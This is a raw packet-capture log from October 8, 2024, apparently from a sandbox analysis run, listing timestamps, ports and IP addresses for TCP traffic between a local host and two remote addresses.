Oct 8, 2024 20:52:28.088303089 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.088315010 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.088342905 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.088356972 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.088386059 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.088406086 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.088418961 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.088433981 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.088558912 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.088572979 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.088587046 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.088630915 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.088641882 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.088654041 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.088668108 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.088680983 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.088692904 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.088706017 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.088722944 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.088737011 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.094672918 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.110801935 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.110817909 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.110831022 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.110874891 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.110893965 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.110904932 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.110912085 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.115406036 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.131628990 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.131628990 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.131768942 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.151119947 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.151137114 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.151149988 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.151175976 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.151190996 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.151202917 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.151216030 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.151302099 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.151314974 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.151395082 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.151410103 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.151422977 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.151436090 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.151448011 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.151462078 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.151527882 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.151566029 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.151580095 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.151593924 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.151657104 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.151750088 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.151797056 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.151808977 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.151849031 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.151861906 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.151973009 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.151985884 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.152007103 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.152021885 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.152044058 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.152055979 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.152069092 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.152081966 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.152426004 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.152440071 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.152452946 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.152498007 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.152510881 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.152523994 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.152535915 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.152549028 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.152571917 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.152585030 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.152596951 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.152724028 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.152776957 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.152790070 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.152868986 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.152932882 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.152947903 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.152968884 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.152982950 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.153047085 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.153059006 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.153064966 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.153072119 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.153078079 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.153084040 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.153095961 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.153142929 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.153158903 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.153171062 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.153187037 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.153201103 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.153213978 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.153691053 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.153703928 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.153716087 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.153728962 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.153742075 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.153753996 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.153918982 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.153930902 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.153944016 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.154031992 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.154043913 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.154057026 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.154068947 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.154082060 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.154093981 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.154109955 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.154145002 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.154159069 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.154172897 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.154185057 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.155342102 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.159663916 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.159663916 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.159663916 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.159759998 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.159759998 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.159759998 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.159832001 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.163429022 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.174582958 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.174597025 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.174608946 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.174649000 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.174662113 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.174680948 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.174693108 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.174767017 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.174781084 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.174794912 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.174822092 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.174834967 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.174880981 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.174894094 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.174963951 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.174977064 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.174988985 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.175002098 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.175014973 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.175035000 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.175048113 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.175378084 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.184269905 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.184269905 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.197380066 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.197535038 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.197547913 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.197632074 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.197644949 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.197657108 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.197669983 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.216073036 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.253485918 CEST	443	49869	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:28.288686037 CEST	49873	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:28.288736105 CEST	443	49873	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:28.289108992 CEST	49869	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:28.289127111 CEST	443	49869	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:28.289547920 CEST	49869	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:28.289554119 CEST	443	49869	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:28.289870977 CEST	49873	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:28.290020943 CEST	49873	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:28.290039062 CEST	443	49873	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:28.297292948 CEST	443	49870	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:28.300376892 CEST	443	49871	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:28.301969051 CEST	49870	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:28.301987886 CEST	443	49870	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:28.302510023 CEST	49871	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:28.302524090 CEST	443	49871	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:28.302526951 CEST	49870	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:28.302536011 CEST	443	49870	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:28.302997112 CEST	49871	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:28.303009987 CEST	443	49871	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:28.358320951 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.358468056 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.364387035 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.364403009 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.364415884 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.364430904 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.364444017 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.364458084 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.364470005 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.364471912 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.364483118 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.364500046 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.364537001 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.364550114 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.364562035 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.364574909 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.364587069 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.364732027 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.364746094 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.364757061 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.364762068 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.364770889 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.364784956 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.364798069 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.364809990 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.364821911 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.364911079 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.364923000 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.364933968 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.364947081 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.365022898 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.365022898 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.365653038 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.365667105 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.365681887 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.365695000 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.365708113 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.365714073 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.365720987 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.365731955 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.365817070 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.365834951 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.365848064 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.365859985 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.365868092 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.365880966 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.365906000 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.365991116 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.366010904 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.366024017 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.366035938 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.366183043 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.366194963 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.366200924 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.366211891 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.366218090 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.366221905 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.366338015 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.366352081 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.366374016 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.366374016 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.366480112 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.366811991 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.366825104 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.366837025 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.366847992 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.366858959 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.366898060 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.366982937 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.366996050 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367012024 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.367134094 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367146015 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367156982 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367162943 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367176056 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367187023 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367199898 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367286921 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367297888 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367311001 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367321968 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367326975 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.367335081 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367415905 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367429018 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367439985 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367454052 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367468119 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367479086 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367491007 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367499113 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367532015 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.367639065 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367651939 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367662907 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367757082 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367769003 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367779970 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367786884 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367798090 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367810011 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367824078 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367837906 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367851019 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367863894 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367887020 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367898941 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367912054 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367923975 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367934942 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367944956 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367950916 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367963076 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367979050 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.367983103 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.368033886 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.368091106 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.368091106 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.368223906 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.368237019 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.368243933 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.368335009 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.368671894 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.368684053 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.368777037 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.368937969 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.368949890 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.368956089 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.368962049 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.368969917 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.369110107 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.369121075 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.369136095 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.369149923 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.369159937 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.369165897 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.369178057 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.369204998 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.369281054 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.369338989 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:28.369457960 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.369469881 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.369481087 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.369487047 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.369494915 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.370318890 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.370331049 CEST	3752	49855	147.45.126.71	192.168.2.9
